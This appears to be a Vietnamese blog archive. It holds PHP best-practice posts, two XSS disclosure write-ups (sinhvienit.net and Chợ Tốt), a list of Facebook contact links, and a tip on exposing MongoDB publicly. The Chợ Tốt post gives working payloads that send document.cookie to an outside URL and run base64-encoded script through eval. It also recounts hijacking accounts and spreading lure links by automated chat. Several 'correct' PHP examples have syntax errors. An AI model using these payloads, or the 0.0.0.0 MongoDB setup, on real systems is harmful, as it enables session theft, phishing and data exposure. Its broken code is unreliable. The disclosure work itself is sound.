2019-01-05

Những lỗi nên tránh của lập trình viên PHP

Lỗi cơ bản về empty vs isset

Mức độ phổ biến: Rất phổ biến
Mức độ nghiêm trọng: Không quá nghiêm trọng, nhưng mà nó làm nhức đầu hại não nhưng thằng dev khác sau này khi đọc code của bạn.
Lỗi vè sử dụng các hàm isset cho các đối tượng được lồng vô nhau, lỗi này phổ biến đến mất mình thấy nó có mặt khắp mọi nơi ở hầu hết các công ty mà mình từng làm việc.
Vấn đề này không phải là sai, nhưng nó làm cho code trể nên rối rắm, dài dòng không cần thiết.
################### KHÔNG NÊN ###################
if (isset($product['shop'] && isset($product['shop']['id']) {
  doSomeThing($product['shop']);
}

So sánh với:

################### NÊN ###################
if (!empty($product['shop']['id']) {
  doSomeThing($product['shop']);
}

Lời bàn:

Tại sao lập trình viên lại gặp lỗi này:
  1. Là docopy & paste, tại thấy thằng khác trước nó code vậy, nên mình copy và paste vậy luôn.
  2. Chưa bao giờ bạn thử hàmemptynó hoạt động thế nào, và rất ngại khi sửa lại cái hàm đó, bởi vì mấy thằng lead nó nói, khi code hoạt động ổn định thì đừng có sửa, ai sẽ review.
Làm thế nào để không gặp những lỗi này:
  1. Đừng bao giờcopy & pastecode của người khác mà không suy nghĩ.
  2. Và cũng đừng bao giờ code mà không suy nghĩ là các hàm như vậy khác nhau như thế nào.

Lỗi cộng chuỗi

Mức độ phổ biến: Rất phổ biến
Mức độ nghiêm trọng: Lỗi này là một trong những nguyên nhân hàng đầu gây ra bug, khó bảo trì và phát triển thêm tính năng.
Xem xét một ví dụ, build một cái chuỗi url:
# ################## KHÔNG NÊN ##############
# Giả sử ta có một array params như sau:
$params = [
  'a' => 1,
  'b' => 2,
  'c' => 3
];
# Bạn muốn build thành chuỗi:
# url = //localhost?a=1&b=2&c=3
$query_string = [];
for($params as $key => $value){
  $query_string[] = $key.'='.$value;
}
$url = '//localhost/?'.implode('&', $query_string);

So sánh với:

# ################## NÊN ##############
# Giả sử ta có một array params như sau:
$params = [
  'a' => 1,
  'b' => 2,
  'c' => 3
];
# Bạn muốn build thành chuỗi:
# url = //localhost?a=1&b=2&c=3
$url = '//localhost/?'.http_build_query($params);
Có thể nói cái cách làm trên không chỉ là dài dòng và không cần thiết, mà còn tìm ẩn nhiều rủi ro cơ bản, chẳng hạn khi các$paramsphức tạp ở dạng array, hay là các chuỗi cần dược encode.
PHP cung cấp cho chúng ta rất rất nhiều hàm để xử lý chuỗi, bạn cần phải đọc tài liệu và viết đúng những hàm mà mình cần.
Chưa hết, khi bạn sử dụng Framework bạn cần phải sử dụng hàm của nó để build ra url từ router thì ứng dụng mới hoạt động đúng.

Lời bàn:

Tại sao lập trình viên lại gặp lỗi này:
  1. Không đọc tài liệu của PHP để viết cho đúng best practice.
  2. Không đọc Framework của mình có gì và hiểu đúng Framework.
Làm thế nào để không gặp những lỗi này:
  1. Khi bạn gặp phải một hàm gì đó quá phức tạp hay nghĩ ra một cách làm gì đó phức tạp thì bạn phải tin rằng mình đang làm sai gì đó và đâu đó đã có cách viết tốt hơn.
  2. Lập trình viên trên thế giới rất lười và phần lớn những điều mà bạn nghĩ bạn gặp đã được giải quyết, bạn chỉ cần search Google là sẽ ra cách giải quyết thôi.
  3. Nên đọc và hiểu Framework mà mình đang viết, các khái niệm nó stack với nhau.

Sử dụng các con số

Mức độ phổ biến: Đâu đâu cũng thấy
Mức độ nghiêm trọng: Giống như một mình bạn đang chống lại thế giới.
Như ví dụ bên dưới, bạn không nên so sánh với các giá trị như 2, 1, người khác đọc code sẽ không thể nào hiểu được các giá trị đó là gì.
################## KHÔNG NÊN ##############
if( $product->status === 2 && $product->stock_status === 1 ){
  // do something
}

So sánh với:

################## NÊN ##############
class Product {
  const STATUS_OK = 2;
  const STOCK_STATATUS_AVAILABLE = 1;
  public function canDoSomething() {
    if ($product->status === static::STATUS_OK
      && $product->stock_status === static::STOCK_STATATUS_AVAILABLE) {
      return true;
    }
    return false;
  }
}
if ($product->canDoSomething()) {
  // do something
}

Ket:

  1. Viết như cách KHÔNG NÊN rất rối rắm, và không thể tái sử dụng.
  2. Đóng gói function sẽ làm cho code dễ đọc, dễ bảo trì, fix bug và tái sử dụng hơn.

Lỗi cơ bản về if

Mức độ phổ biến: Rất phổ biến
Mức độ nghiêm trọng: Lỗi này không nghiêm trọng nhưng mà nó làm cho code đọc khó hiểu
Trong việc lập trình hàm if là các hàm không thể tránh khỏi, nhưng gần như là chúng ta sử dụng các hàm này một cách mù quán mà không hề suy nghĩ.
################## KHÔNG NÊN ##############
function doSomething($params = []) {
  $result = [];
  if( !empty($params) ) {
    $result['r1'] = $params['p1'] + $params['p2'];
    //do something 1
    // ...
    //do something n
    $result['r2'] = doAnother($params['p3'], $params['p4']);
  }
  return $result;
}

So sánh với:

################## NÊN ##############
function doSomething($params = []) {
  $result = [];

  if( empty($params) ) {
    return $result;
  }

  $result['r1'] = $params['p1'] + $params['p2'];
  //do something 1
  // ...
  //do something n
  $result['r2'] = doAnother($params['p3'], $params['p4']);

  return $result;
}
Mức độ nghiêm trọng của tư duy này là khi các hàm if lồng nhau, thì sẽ dẫn đến các hàm khó đọc, tốt nhất là các bạn nên khiểm tra điều kiện nếu các biến truyền vào empty thì nên return trước.

Ket:

Tại sao lập trình viên lại gặp lỗi này:
  1. Các lập trình viên hay nghĩ tới trường hợp đúng và luôn code cho trường hợp đúng trước hết.
Làm thế nào để không gặp những lỗi này:
  1. Bạn phải tư duy về những chức năng có thể gây lỗi trước.
  2. Tư duy nếu hàm các bạn viết ra cho người khác xài mà không được truyền vào đúng như mong đợi thì thế nào.

Lỗi về hàm if trong loop

Mức độ phổ biến:Rất phổ biến
Mức độ nghiêm trọng: Lỗi này làm chương trình rất khó đọc hiểu logic và rất dễ gây bug
Lỗi về nested của loop vàif/elsekhá phổ biến, và việc de-nested điều này không phải lúc nào cũng dễ, tuy nhiên không phải là không làm được.
Ví dụ bên dưới là việc sử dụng hàmbreakcontinueđể giải tránh code các hàm if lồng nhau:
################## KHÔNG NÊN ##############
function doSomething($an_array, $an_ignore_array) {
  $result = [];
  foreach ($an_array as $an_element) {
    if (count($result) < MAX_LIST) {
      if(!in_array($an_element['id'], $an_ignore_array)) {
        $result[$an_element['id']] = $an_element;
      }
    } else {
      break;
    }
  }
  return $result;
}

So sánh với:

################## NÊN ##############
function doSomething($an_array, $an_ignore_array) {
  $result = [];
  foreach ($an_array as $an_element) {
    if (count($result) >= MAX_LIST) {
      break;
    }
    if (in_array($an_element['id'], $an_ignore_array)) {
      continue;
    }
    $result[$an_element['id']] = $an_element;
  }
  return $result;
}

Thảm hoạ về dùng CURL

Mức độ phổ biến: Thỉnh thoảng có gặp
Mức độ nghiêm trọng: Nó làm code cũng khó hiểu và phức tạp không kém.
Hãy nhìn logic để thực hiện một request đến đâu đó với method POST.

################## KHÔNG NÊN ##############
function getSomething($url, $post_data = []) {
  $token = 'Token';
  $headers = array(
    "X-Token: $token",
  );

  $ch = curl_init();

  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

  $response = [];
  $result   = curl_exec($ch);
  if($result) {
    $response = json_decode($result);
  }

  curl_close($ch);

  return $response;
}

So sánh với:

################## NÊN ##############
function getSomething($url, $post_data = []) {
  $token = 'Token';
  $headers = array(
    "X-Token: $token",
  );

  $client = new \GuzzleHttp\Client();
  $res = $client->post($url, $headers, $post_data);

  $response = [];
  $result = $res->getBody();
  if($result) {
    $response = json_decode($result);
  }
  return $response;
}
Làm ơn đừng sử dụng curl nó làm cho code rất khó đọc, rồi bạn thêm, xoá, sửa các vấn đề về proxy, sercurity v.v… các bug với curl, rồi với các php version khác nhau.
Hãy sử dụng các thư viện, function mà người khác đã code, đã làm, đã build, đừng code lại một hàm hay một tính năng khác, khi mà người khác đã làm ra nó.


Ket:

Tại sao lập trình viên lại gặp lỗi này:
  1. Hầu hết các bạn dev đều cho rằng sử dụng các hàmbuilt-inmà không sử dụng thư viện sẽ làm code chạy nhanh hơn.
  2. Hoặc là cho rằng tính năng quá đơn giản chỉ cần lạicopy & pastecode từ đâu đó, sửa sửa lại cho nó chạy là ngầu rồi.
Làm thế nào để không gặp những lỗi này:
  1. Chương trình chạy nhanh hay chậm không phải vì bạn có sử dụng thêm thử việc hay code ở dạng function built-in. Phần lớn ứng dụng chậm là vì các nguyên nhân liên quan tới xử lý dữ liệu, tính toán.
  2. Đừng bao giờ nghĩ là nó cần nhanh hơn một vài nano hoặc là milisecond giây làm gì khi mà nó có thể tìm ẩn rủi ro về code và chi phí phát triển ứng dụng.

Lỗi function wrapper

Mức độ phổ biến: Rất hay gặp
Mức độ nghiêm trọng: Nó làm code trở nên khó debug và thật sự chẳng để làm gì cả.
################## KHÔNG NÊN ##############
class Model extends AbstractModel{

  public function fetchOnce($array){
      return $this->findOneBy($array);
  }
}
Thật sự là đừng bao giờ làm như vậy cả, bạn không nên wrap một function để rename nó cho bạn dễ đọc và dễ hiểu, điều bạn cần là bạn hiểu cái framework mà bạn đang xài, điều đó dễ dàng cho bạn nhớ keyword và có khái niệm chung với mọi người.
Việc tạo ra một function khác không chỉ làm cho code khó debug, tốn performance, mà còn làm cho mọi thứ khó kiểm soát và tam sao thất bản.

Đừng gọi magic function

Mức độ phổ biến: Rất hay gặp
Mức độ nghiêm trọng: Nó nhìn code của bạn rất chuối.
Như một ví dụ bên dưới, nó phản ánh sự không am hiểu của bạn về PHP.
################## KHÔNG NÊN ##############
$url = new BaseUrl();
$this->baseURL = $url->__invoke();
################## NÊN ##############
$url = new BaseUrl();
$this->baseURL = $url()
Magic function là một trong những đặc điểm vô cùng mạnh của PHP, mó làm cho PHP rất khác biệt so với các nền tảng khác, ví dụ như các hàm
  • __set
  • __get
  • __call
  • __toString
  • __isset
Bạn nên tìm hiểu đúng nó để sử dụng, và đừng nên gọi nó một các trực tiếp, vì nhìn nó chuối lắm.

Đừng cố gắng biến A thành A’

Mức độ phổ biến: Rất hay gặp
Mức độ nghiêm trọng: Nó nhìn code của bạn rất rờm rà.
Hãy nhìn vào đoạn code bên dưới:
################## KHÔNG NÊN ##############
class Product {
    protected $price;
    protected $category;
    protected $stock_status;

    public function getPrice(){
        return $this->price;
    }

    public function getCategory(){
        return $this->category;
    }

    public function getStock_status(){
        return $this->stock_status;
    }
}

So sánh với:

################## NÊN ##############
class Product {
  protected $price = 0;
  protected $category;
  protected $stock_status;

  public function __call($method, $arguments) {
    $prop = lcfirst(substr($method, 3));
    if( !property_exists($this, $prop) ){
      throw new \Exception('Property '. $prop . ' does not exist');
    }
    return $this->$prop;
  }
}

Ket:

Có thể bạn đã biết:

Tận dụng các magic function sẽ giúp cho code của bạn gọn gàng hơn, càng đơn giản bạn sẽ càng ít bug. Ngoài ra với một function tập trung kiểu này cũng sẽ giúp bạn kiểm soát các mistake dễ dàng hơn.

Lỗi về sử dụng switch-case

Mức độ phổ biến: Thỉnh thoảng hay gặp
Mức độ nghiêm trọng: Điều này dẫn tới rât khó maintain và phát triển thêm tính năng
Hãy nhìn vào đoạn code bên dưới, code này, việc code thành từng case như thế này mà input dầu vào chỉ có$key$paramthì phần code này không thiết kế tốt sẽ rất khó thay đổi.
################## KHÔNG NÊN ##############
namespace CorePackage;

use CorePackage\Adapder\AdapterA;
use CorePackage\Adapder\AdapterB;
use CorePackage\Adapder\AdapterC;

class Service{

    public static function getSomething($key, $param = NULL){
        $config   = new Config();
        $options  = $config->getOptions();
        if (!in_array($key, $options) ){
            throw new \Exception('Invalid key');
        }
        switch((int)$options[$key]){
            case 0:
                $adapter  = new AdapterA();
                $data     = $server->getData($key, $param);
                break;
            case 1:
                $adapter  = new AdapterB();
                $data     = $adapter->getData($key, $param);
                break;
            case 2: 
                $adapter  = new AdapterC();
                $data     = $adapter->getData($key, $param);
                break;

        }
        return $data;
    }
}
################## NÊN ##############
namespace CorePackage;

use CorePackage\ Adapter\Factory;
use CorePackage\Adapder\AdapterInterface;

class Service{

    public static function getSomething($key, $param = NULL){
        $config   = new Config();
        $adapter  = Factory::create($config)
        if ( !($adapter instanceof AdapterInterface) ){
            throw new \Exception('Can not create adapater!');
        }
        $data = $adapter->getData($key, $param);
        return $data;
    }
}

Đừng code mọi thứ vào một cái hàm

Mức độ phổ biến: Khắp mọi nơi, mọi chỗ
Mức độ nghiêm trọng: Đây thật sự là một tội ác chông lại cộng đồng dev
Hãy nhìn vào đoạn code bên dưới, nhìn chúng gần như là lặp đi lặp lại một chuyện rất vô nghĩa.
################## KHÔNG NÊN ##############
function getUserAction($id)
  $userModel        = \App\Model\User::findById($id);
  $user = new \stdClass();
  $user->id         = $userModel->getId();
  $user->email      = $userModel->getEmail();
  $user->firstname  = $userModel->getFirst_name();
  $user->lastname   = $userModel->getLast_name();
  $user->fullname   = $user->firstname . ' ' . $user->lastname;
  $user->userstatus = 0;
  $user->birthday   = $userModel->getDob();
  $user->gender     = $userModel->getGender();
  $result['user']   = $user;
}

So sánh với:

################## NÊN ##############
function getUserAction($id)
  $userModel        = \App\Model\User::findById($id);
  $result['user']   = $userModel->toArray();
  // Hoac:
  $result['user']   = $userModel->asObject();
}

Ket:

  1. Các hàm quá dài, và không đóng gói sẽ dẫn tới việc code trở nên ngày càng khó đọc, không thể testing. Ngoài ra khi bạn viết trở thành function trong một class nào đó, bạn sẽ biết làm thế nào để optimize và code nó tốt nhất.
  2. Luôn có cách để chia các function dài thành các function nhỏ hơn, hãy có niềm tin như vậy.

Viết tất cả vào function hiện có

Mức độ phổ biến: Vô cùng phổ biến
Mức độ nghiêm trọng: Tội ác không thể tha thứ.
Có những function khi tôi đọc lại từ người khác, hay là nhận fix bug, hay viết thêm tính năng. Ôi thần linh ơi, không thể tin được, có hàng trăm, hàng ngàn dòng… Nhìn thật sự rất nản, rất chán, và rất muốn bỏ cuộc.
Bạn đừng bao giờ góp phần làm trầm trọng thêm tội ác đó.
Hãy xem một ví dụ:
################## NÊN ##############
function getSomethingAction($prarams = [], $options = []) {
  /**
   |------------------------------------------------------------
   | 1. Buoc 1 lam ABC
   | 2. Buoc 2 lam DEF
   | 3. Buoc 3 lam GHK
   |------------------------------------------------------------
   */   $result1 = doStep1($prarams, $options);
   $result2 = doStep2($prarams, $options);
   $result3 = doStep3($result1, $result2);
   return $result3;
}
function doStep1($prarams = [], $options = []) {
  /**
   |------------------------------------------------------------
   | 1. Buoc 1 lam ABC
   | 2. Buoc 2 lam DEF
   | n. Buoc n lam GHK
   |------------------------------------------------------------
   */   $result1 = doChildStep1_1($prarams, $options);
   $result2 = doChildStep1_2($prarams, $options);
   $result  = doChildStep1_N($result1, $result2);
   return $result;
}
function doStep2($prarams = [], $options = []) {
  /**
   |------------------------------------------------------------
   | 1. Buoc 1 lam ABC
   | 2. Buoc 2 lam DEF
   |------------------------------------------------------------
   */   $result1 = doChildStep2_1($prarams, $options);
   $result  = doChildStep2_2($result);
   return $result;
}
// Va cac function khac

2018-12-26

Tớ đã hack trang SinhVienIT.net như thế nào?

Tớ đã hack trang SinhVienIT.net như thế nào?

Lỗ hổng bảo mật XSS trên sinhvienit.net

Một ngày đẹp trời, tớ lên Google kiếm link tải Visual Studio. Như thường lệ, SVIT (sinhvienit.net) và VNZ (vn-zoom.com) luôn đứng top khi tìm kiếm mấy phần mềm... cr@ck. Khỏi phải suy nghĩ, tớ liền nhấn vào một link có thể tin tưởng (là trang nào thì các bạn cũng biết rồi đấy, liên quan tới bài viết mà).
Vào đọc lướt qua, kéo tới phần tải về. Chợt tớ để ý vào link đầu tiên mà chúng ta có thể nhận ra ngay là một trình chuyển hướng (redirector):

Vốn là tay thích săn lỗ hổng, tớ nghĩ thoáng qua trong đầu... "Không biết lão Lai dùng meta refreshjavascript hay PHP header để chuyển hướng nhỉ?". Nghĩ vậy, tớ liền nhanh tay copy link và thêm "view-source:" vào đầu.

Như vậy là sử dụng JavaScript, phần dữ liệu trên URL được in lại khá nhiều trong trang. Thử kiểm tra XSS xem nào!

Tất cả vị trí đều bị mã hóa ký tự HTML. Thử lại với nháy đơn thôi xem!

Hừm, có vẻ ổn. Một hi vọng lóe lên trong đầu! Tại vị trí này, chúng ta không cần sử dụng thẻ HTML nào vì chúng ta đang ở ngay giữa <script>...</script> (pháo đã lên nòng, chỉ việc châm lửa). Bypass thôi nào!
  • Kết thúc việc gán giá trị vào biến redirUrl: ';
  • Bắt đầu exploit payload của chúng ta: alert('Juno_okyo')
  • Vô hiệu hóa các ký tự thừa bằng chú thích: //
Kết hợp lại tớ được vector XSS như sau: ';alert('Juno_okyo')//
Và kết quả là:

Từ XSS thành CSRF

Vì lỗ hổng XSS này nằm trên trình chuyển hướng liên kết ra ngoài SVIT nhưng link chuyển hướng lại cùng hostname với diễn đàn, tức là khả năng chiếm phiên làm việc hoàn toàn khả thi. Hơn nữa, Security Token của vBB không thay đổi (token không tự tái tạo lại sau mỗi truy vấn mà giữ nguyên trong suốt một phiên làm việc), tớ nghĩ ngay tới khả năng có thể chiếm token để thực hiện mọi thao tác dưới danh nghĩa người dùng bất kỳ => CSRF.

Xây dựng kịch bản tấn công

  1. Tạo một URL chuyển hướng sử dụng DOM để chèn một file JS chứa mã khai thác.
  2. Tạo một trang HTML sử dụng Iframe trỏ tới URL ở bước 1.
  3. Trong file JS ở bước 1, tạo truy vấn tới SVIT để chiếm Security Token và sử dụng token để đăng xuất tài khoản của thành viên đã vô tình truy cập vào trang web ở bước 2.
Nếu bước 3 thành công, chúng ta xác nhận rằng lỗ hổng CSRF tồn tại!

Proof of Concept

Video này tớ sẽ demo lại toàn bộ kịch bản tấn công ở trên. Và với việc tớ quay lại demo thì hẳn các bạn đã đoán ra kết quả của kịch bản này như thế nào rồi đó! :)
Đừng quên đăng ký theo dõi kênh Youtube của tớ để nhận được thông báo mỗi khi có video mới nhé!

Timeline

  • 4:23 PM - 16/07/2016: Lỗ hổng được báo cáo tới quản trị viên.
  • 5:00 PM - 16/07/2016: Quản trị viên Sinhvienit.net xác nhận lỗ hổng tồn tại và đề nghị một khoản tiền thưởng.
  • 5:05 PM - 16/07/2016: Lỗ hổng được khắc phục. Hai bên trao đổi thêm một số thông tin liên quan.
  • Nguồn: https://junookyo.blogspot.com

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Link Contact

Báo cáo vấn đề đăng nhập : https://www.facebook.com/help/contact/357439354283890
Xác nhận danh tính của bạn bằng giấy tờ tùy thân : https://www.facebook.com/help/contact/319547548123767
Đã bị vô hiệu hóa - Không đủ điều kiện : https://www.facebook.com/help/contact/317389574998690
Confirm Your Identity With Facebook : https://www.facebook.com/help/contact/183000765122339
Tài khoản cá nhân của tôi đã bị vô hiệu hóa : https://www.facebook.com/help/contact/260749603972907
Báo cáo vấn đề về việc xác nhận tài khoản Facebook : https://www.facebook.com/help/contact/174964429275926
Báo cáo vấn đề về xác minh tài khoản : https://www.facebook.com/help/contact/283958118330524
Data Policy Questions : https://www.facebook.com/help/contact/1461223320847982
Vấn đề về mã Phê duyệt đăng nhập : https://www.facebook.com/help/contact/259497704121855
California's Shine the Light law : https://www.facebook.com/help/contact/1647869505427057
Data Policy Questions : https://www.facebook.com/help/contact/861937627253138
THAY TÊN CHUẨN, ĐỔI TÊN : https://www.facebook.com/help/contact/1417759018475333 
Cung cấp cho chúng tôi phản hồi về tính năng Facebook : https://www.facebook.com/help/contact/268228883256323
Báo cáo vấn đề về Trang Facebook : https://www.facebook.com/help/contact/?id=164405897002583
Báo cáo Vi Phạm hoặc Xâm Phạm Quyền Của Bạn : https://www.facebook.com/help/contact/?id=208282075858952
Report Pages that Disappeared : https://www.facebook.com/help/contact/?id=167646843343666
Report an Ad : https://www.facebook.com/help/contact/?id=234887816572954
Bank Account Payments : https://www.facebook.com/help/contact/281141591936826
Disabled Ad Account Help : https://www.facebook.com/help/contact/531795380173090
Truy vấn về Thanh toán Quảng cáo : https://www.facebook.com/help/contact/239064626155650
Nhận hỗ trợ về thanh toán trên Facebook : https://www.facebook.com/help/contact/830921593618796
Facebook Payments Support Center - Enter : https://www.facebook.com/help/contact/137574362977954
Give feedback or report that something is broken: Photos : https://www.facebook.com/help/contact/?id=138856662881439
Report an Issue with Disappearing Videos : https://www.facebook.com/help/contact/?id=333113853388695
Report an Issue with Chat Disconnections : https://www.facebook.com/help/contact/?id=220877088001498
Report an Issue with Search : https://www.facebook.com/help/contact/?id=137406866379070
Report an Issue with Notifications : https://www.facebook.com/help/contact/?id=269067606491964
Báo cáo vi phạm quyền riêng tư : https://www.facebook.com/help/contact/144059062408922
Báo cáo lỗ hổng bảo mật : https://www.facebook.com/whitehat/report/
Yêu cầu xóa tài khoản cho ai đó bị ốm, bị thương hoặc mất khả năng : https://www.facebook.com/help/contact/191122007680088
Privacy Rights - Video Removal Request : https://www.facebook.com/help/contact/139646232852264
Report an Issue with Facebook on Mobile : https://www.facebook.com/help/contact/?id=110188012426789
Report an Unavailable Group or Event : https://www.facebook.com/help/contact/?id=157461604368161
Gọi điện tới Facebook theo số: (1) 1-800-694-2600 hoặc 1-800-601-0077
Yêu cầu thay đổi ngày sinh : https://www.facebook.com/help/contact/233841356784195
Hợp nhất các trang trùng lặp : https://www.facebook.com/pages/merge/
Phản hồi của bạn về trang : https://www.facebook.com/help/contact/306836472662147
Mentions Verification Request : https://www.facebook.com/help/contact/1491114197882751
Báo cáo tài khoản giả mạo : https://www.facebook.com/help/contact/295309487309948
Yêu cầu tưởng nhớ : https://www.facebook.com/help/contact/1605213279719667
Mẫu báo cáo bản quyền : https://www.facebook.com/help/contact/1409697672616547
Báo cáo một sự vi phạm Điều khoản Facebook : https://www.facebook.com/help/contact/191381691012854
Must Log In To See This Page Error : https://www.facebook.com/help/contact/290391837683878
Invalid Email Address Error : https://www.facebook.com/help/contact/340846992655773
Vấn đề về SMS (Tin nhắn văn bản) chứa mã xác nhận : https://www.facebook.com/help/contact/?id=338822979524831
Báo cáo vấn đề về xác minh tài khoản : https://www.facebook.com/help/contact/?id=283958118330524
Page Promotion Help : https://www.facebook.com/help/contact/175415912598628?_rdr=p
Kháng nghị quảng cáo không được phê duyệt : https://www.inyour.facebook.com/help/contact/1582364792025146
Report an Underage Child (South Korea & Spain) : https://www.facebook.com/help/contact/1408156889442791
Report Content Lost During Reactivation : https://www.facebook.com/help/contact/270321339699849
https://www.facebook.com/help/contact/304635099583936 : Report an Issue with Webcam Videos on Facebook
https://www.facebook.com/help/contact/167024990072620 : Report an Issue with Video Playback
Chat Appears Turned Off for Friends : https://www.facebook.com/help/contact/240186386056090
Report a Page Unavailable Error : https://www.facebook.com/help/contact/357161520978587
Your Feedback About Places : https://www.facebook.com/help/contact/347276355296268
https://www.facebook.com/help/contact/232989770111862 << Impressum Contact
https://www.facebook.com/help/contact/174964429275926 << Báo cáo vấn đề về việc xác nhận tài khoản Facebook (*)
https://www.facebook.com/help/contact/237843336274237 << Tên không được chấp nhận
https://www.facebook.com/help/contact/317389574998690 << Disabled – Ineligible
https://www.facebook.com/help/contact/183190208381429 << Xác nhận lại thông tin cá nhân của bạn
https://www.facebook.com/help/contact/197295393639994 << Xác minh tên của bạn
https://www.facebook.com/help/contact/319547548123767?rdrhc << Xác minh danh tính bằng giấy tờ tùy thân
https://www.facebook.com/help/contact/222853911135005
https://www.facebook.com/help/contact/199052956872279
Xác minh tên https://www.facebook.com/help/contact/197295393639994
Đổi tên https://www.facebook.com/help/contact/245617802141709 
report bệnh tật https://www.facebook.com/help/contact/191122007680088
report die https://www.facebook.com/help/contact/1465699090320797
report sex https://www.facebook.com/help/contact/207005222725325
xác nhận danh tính khi bị check ảnh hoặc bắt up cmnd
https://www.facebook.com/help/contact/319547548123767
dành cho không thể đăng nhập được tài khoản do đăng nhập từ xa .mã code đt...( mấy bé check acc nên xài )
https://www.facebook.com/help/contact/logout…
xác nhận thông tin cá nhân
https://www.facebook.com/help/contact/183190208381429
block do không đủ tiêu chuẩn sd fb
https://www.facebook.com/help/contact/317389574998690
block do ăn vé tên giả
https://www.facebook.com/help/contact/237843336274237
verify lại account
https://www.facebook.com/help/contact/174964429275926
đổi ngày sinh : https://www.facebook.com/help/contact/233841356784195

https://www.postplanner.com/how-to-contact-facebook-to-get-support/ ( 120 link trong đây )

2018-12-23

Tôi đã hack Chợ Tốt như thế nào.




Tôi đã hack Chợ Tốt như thế nào

Hôm nay thử dạo một vòng Chợ Tốt kiếm mấy món hàng cũ, thì phát hiện lỗi XSS, đây là lỗi không mới, cách thức tấn công cũng đơn giản, nhưng nhiều khi cần rất nhiều sáng tạo trong quá trình khai thác.
Thử tìm kiếm với từ khóa “iphone 7” thì thấy như thế này:
alt text
Ai chà, url đẹp phết, mình thích url này rồi đấy, search key đã được bỏ dấu và thêm dấu gạch ngang cho hợp chuẩn. Thử thêm một ít html vào thì thế này (ảnh nhỏ các bạn mở ở tab mới để xem nhé)
alt text
Rất nhiều nơi, search key đã được entities, tuy nhiên vì lý do nào đó, search key trong đoạn javascript này đã không được xử lý. Vấn đề là, từ khóa nó đang nằm trong string, nên alert không xảy ra hiện tượng gì.
Cuối cùng mình sửa search key như sau:
iphone 7" }; alert("something went wrong"); var a = { "a":"
Thì nhận được alert:
alt text
Bạn thấy không? Mình muốn nói đến cái search key trên, từ một property của object, nó đã tách thành 2 object, và alert nằm giữa một cách đẹp đẽ và tuyệt vời.
OK, giờ thử redrect đến 1 trang ngoài cùng với cookie của người dùng xem sao, mình thử code này:
iphone 7" }; window.location="http://google.com/" + document.cookie; var a = { "a":"
alt text
Như các bạn thấy, coder đã cẩn thận bỏ dấu gạch chéo // và phần sau của search key đi, cũng như lọc một số từ đặc biệt trong chuỗi, như vậy là không thể tương tác gì url bên ngoài được? Không, phải nghĩ cách khác. Cuối cùng thì mình đã tìm ra cách hoàn hảo nhất là đây:
iphone 7" }; eval(atob("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")); var a = { "a":"
Với xxxxx là mã hóa base64 của một đoạn code javascript bất kỳ, tức là chúng ta có thể chèn bất kỳ đoạn javascript nào vào Chợ Tốt. Ví dụ sau đây để alert cookie:
iphone 7" }; eval(atob("YWxlcnQoIGRvY3VtZW50LmNvb2tpZSk=")); var a = { "a":"
Và đây là kết quả:
alt text
Đã đến bước này, thì các bạn đã biết mình sẽ làm gì tiếp theo rồi phải không? Mình đăng 1 bài viết mua bán với giá rất rẻ, trong đó có kèm link, lấy cookie để vào được tài khoản của những người không may click vào link.
Nhưng không dừng lại ở đó, khi đã vào được tài khoản của vài thành viên khác, mình có thể mở rộng hơn qua chính công cụ chat của Chợ Tốt bằng tokenKey đã lấy được. Viết script tự động chat với nhiều thành viên khác với nội dung bán đồ rất rẻ, và kèm link để câu.
alt text
Tâm lý là khi được chat về sản phẩm đang bán, người dùng rất dễ click vào link, social engineering khá hiệu quả trong trường hợp này.
Mình đánh giá rất cao tinh thần của đội ngũ ChoTot, sau khi gửi report qua email, bên ChoTot đã gọi điện xác nhận, chuyển đến bộ phận kỹ thuật nhanh chóng kiểm tra, fix lỗi, thônng báo mình kiểm tra các lỗi tương tự và thông báo lại.

2018-12-15

Sử dụng chung MongoDB database cho cả development và production

Sử dụng chung MongoDB database cho cả development và production

Tất nhiên đây chỉ là một trick không hề được khuyến khích áp dụng vào bất cứ một dự án Company nào (vốn đòi hỏi yêu cầu bảo mật và an toàn dữ liệu cực kì lớn). App của mình cũng nhỏ thôi, và mình thì... lười. Giả sử như có một bảng user, tất nhiên, user phải vượt qua màn đăng nhập mới được phép truy cập vào app. Và một quãng thời gian đen đủi xảy ra, bạn phải vác chính cái app của mình đi deploy hết từ máy này cho đến máy nọ, vì mất lap, vì chó ỉa lên bàn phím hay sao sao đó chẳng hạn thì việc phải tạo ra một cái DB nữa cho development server nó khiến bạn muốn chán sống đúng không?
Mấy cái chuyện như thế này vốn có nhiều cách giải quyết mà. Dump sẵn một database demo phía client cũng được. Tái sử dụng mongoDB database phía server như mình cũng là một lựa chọn. Chả cái nào hơn cái nào, về phía mình, chỉ là... mình không có nhiều thời gian đi nghiên cứu những cái gì khiến chuyện mình phải focus vào cái app trở nên khó kiểm soát thôi. Mình chỉ là một frontend developer kiêm fullstack developer cho một startup cỡ nhỏ, và bản thân mình nghèo kiết xác k có tiền túi để thuê đứa khác làm giùm mấy cái backend này.

Public port 27017

Cảnh báo cực mạnh: trong mọi trường hợp, đây là cách làm nguy hiểm, trừ khi bạn đã thiết lập chặt chẽ việc bảo mật quá trình kết nối đến MongoDB bằng auth và SSL/TLS hoặc mấy thứ tương tự.
Nói đến chuyện SSL/TLS, chừng nào mình nghiên cứu xong vụ này mình sẽ có một bài viết, đây là trò mình khá thích. Thiết lập Nginx như là một stream reverse-proxy cho MongoDB phía sau hoặc public cổng 27017 rồi cài đặt để bắt buộc sử dụng SSL/TLS khi kết nối chẳng hạn.
Trò này thì đơn giản thôi không khó. Mở file mongod.conf lên (thường thì nằm ở /etc/mongod.conf vì server mình chạy CentOS), comment out dòng bind_ip đi hoặc khai báo rõ nó như dưới đây
# Listen to local interface only. Comment out to listen on all interfaces. 
# bind_ip=127.0.0.1
bind_ip=0.0.0.0
Rồi khởi động lại Mongo là xong. Dưới development, sửa lại localhost thành IP của server, ví dụ mongodb://user:password@aaa.bbb.ccc.ddd/database

SSH Tunnel

